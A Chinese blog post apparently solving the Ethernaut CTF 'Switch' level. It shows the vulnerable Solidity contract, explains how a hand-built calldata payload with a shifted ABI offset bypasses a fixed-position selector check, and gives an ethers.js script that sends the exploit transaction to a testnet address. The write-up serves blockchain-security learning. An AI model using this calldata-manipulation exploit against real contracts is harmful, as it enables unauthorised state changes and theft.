29.Switch
2023-07-20 00:25:05 # 04.Ethernaut CTF

Switch

题目

要求:将switchOn设置为true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()")); // 0x20606e15

modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}

modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}

function flipSwitch(bytes memory _data) public onlyOff {
(bool success, ) = address(this).call(_data);
require(success, "call failed :(");
} // 30c13ade

function turnSwitchOn() public onlyThis {
switchOn = true;
} // 0x76227e12

function turnSwitchOff() public onlyThis {
switchOn = false;
}

}

分析

考察calldata编码

  • 因为onlyThis的限制,所以需要调用flipSwitch(),然后本合约再去调用turnSwitchOn()完成题目。

  • onlyOff()

    • calldatacopy(t, f, s):从位置f的calldata复制s字节到位置t的内存中,把输入数据加载到Memory中。那么这里就是将calldata的第68字节之后4个字节的数据复制到selector中,然后和offSelector作比较

    • 不用担心4字节和32字节怎么比较,因为无论他是补0还是截断比较,只要前四字节相同,都是可以通过的(好吧是我不想研究它是补0比较还是截断比较的了:hankey:)

    • 不要直接直接调用合约实例的flipSwitch()方法然后传参,这样是错的!因为你传入_data数据的时候,会自动帮你做ABI包装,这样就无法通过检查了,我们要自己构造calldata!然后用ethersjs发送原始数据进行交互

      1
      2
      3
      4
      5
      6
      	    30c13ade // 这是flipSwitch()函数选择器
      0x00 0000000000000000000000000000000000000000000000000000000000000060 // 0x60之后的32字节是实际数据
      0x20 0000000000000000000000000000000000000000000000000000000000000000 // 补0
      0x40 20606e1500000000000000000000000000000000000000000000000000000000 // 通过onlyOff()的检验
      0x60 0000000000000000000000000000000000000000000000000000000000000004 // turnSwitchOn()的函数选择器长度
      0x80 76227e1200000000000000000000000000000000000000000000000000000000 // 根据长度截取内容,然后执行call()

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const {ethers} = require("ethers")

// 配置goerli网络提供者
const provider = ethers.getDefaultProvider("https://eth-goerli.g.alchemy.com/v2/xxxxxxxxxxxxxx");

// 以太坊钱包私钥
const privateKey = 'xxxxxxxxxxxxx';

// 根据私钥创建钱包
const wallet = new ethers.Wallet(privateKey, provider);

// 题目地址
const toAddress = '0x5D342aa5Fb9aa061a90e1D40dE65a8719BbBf014';

// 要发送的原始数据
const data = '0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000';

// 创建交易对象
const transaction = {
to: toAddress,
data: data,
};

// 发送交易
async function sendTransactionExample() {
try {
// 发送交易
const response = await wallet.sendTransaction(transaction);

console.log('交易成功:', response.hash);
} catch (error) {
console.error('交易失败:', error);
}
}

sendTransactionExample();